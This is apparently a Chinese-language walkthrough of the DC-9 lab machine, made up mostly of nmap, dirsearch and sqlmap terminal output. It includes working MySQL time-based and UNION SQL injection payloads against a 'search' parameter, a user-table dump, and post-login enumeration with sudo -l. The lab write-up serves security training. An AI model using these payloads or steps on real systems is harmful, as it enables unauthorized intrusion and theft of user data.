┌──(root㉿kali)-[~/localkali/testpayload] └─# nmap -p- 192.168.3.45 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-10 17:51 CST Nmap scan report for 192.168.3.45 Host is up (0.00072s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp filtered ssh 80/tcp open http MAC Address: 08:00:27:95:4E:A9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
注意到22端口被filtered了
dirsearch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(root㉿kali)-[~/localkali/testpayload] └─# dirsearch -u http://192.168.3.45/index.php /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 18:09:40 /2026-01-10/ [18:09:40] [INFO] testing connection to the target URL [18:09:40] [INFO] testing if the target URL content is stable [18:09:40] [INFO] target URL content is stable [18:09:40] [INFO] testing if POST parameter 'search' is dynamic [18:09:40] [WARNING] POST parameter 'search' does not appear to be dynamic [18:09:40] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable [18:09:40] [INFO] testing for SQL injection on POST parameter 'search' [18:09:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:09:41] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [18:09:41] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [18:09:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:09:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [18:09:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:09:41] [INFO] testing 'Generic inline queries' [18:09:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:09:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:09:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:09:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [18:10:01] [INFO] POST parameter 'search' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [18:10:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [18:10:01] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [18:10:01] [INFO] target URL appears to be UNION injectable with 6 columns [18:10:01] [INFO] POST parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable POST parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests: --- Parameter: search (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: search=1' AND (SELECT 6494 FROM (SELECT(SLEEP(5)))FPWe) AND 'ggNh'='ggNh Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: search=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162766271,0x44615268716e726b6e4966415575447a42676848597962535a79756e45646241566547736e654f66,0x7170786271),NULL,NULL-- - --- [18:10:01] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [18:10:01] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.3.45'
方法二
将burp的抓包直接复制到kali的a.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(root㉿kali)-[~/localkali/testpayload] └─# cat a.txt POST /results.php HTTP/1.1 Host: 192.168.3.45 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 8 Origin: http://192.168.3.45 Connection: close Referer: http://192.168.3.45/search.php Cookie: PHPSESSID=um35hfg1i6v2rdrtie01kp5u2b Upgrade-Insecure-Requests: 1 Priority: u=0, i
[18:23:53] [INFO] table 'users.UserDetails' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.3.45/dump/users/UserDetails.csv' [18:23:53] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-01102026_0623pm.csv'
chandlerb@dc-9:~$ ls -al total 12 drwx------ 3 chandlerb chandlerb 4096 Jan 10 21:23 . drwxr-xr-x 19 root root 4096 Dec 29 2019 .. lrwxrwxrwx 1 chandlerb chandlerb 9 Dec 29 2019 .bash_history -> /dev/null drwx------ 3 chandlerb chandlerb 4096 Jan 10 21:23 .gnupg chandlerb@dc-9:~$ history 1 ls -al 2 history chandlerb@dc-9:~$ cd .gnupg/ chandlerb@dc-9:~/.gnupg$ ls -l total 4 drwx------ 2 chandlerb chandlerb 4096 Jan 10 21:23 private-keys-v1.d chandlerb@dc-9:~/.gnupg$ cd private-keys-v1.d/ chandlerb@dc-9:~/.gnupg/private-keys-v1.d$ ls -l total 0 chandlerb@dc-9:~/.gnupg/private-keys-v1.d$ sudo -l
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
[sudo] password for chandlerb: Sorry, user chandlerb may not run sudo on dc-9.
用户joeyt
同样没发现有用的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14
joeyt@dc-9:~$ ls -la total 12 drwx------ 3 joeyt joeyt 4096 Jan 10 21:23 . drwxr-xr-x 19 root root 4096 Dec 29 2019 .. lrwxrwxrwx 1 joeyt joeyt 9 Dec 29 2019 .bash_history -> /dev/null drwx------ 3 joeyt joeyt 4096 Jan 10 21:23 .gnupg joeyt@dc-9:~$ sudo -l
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.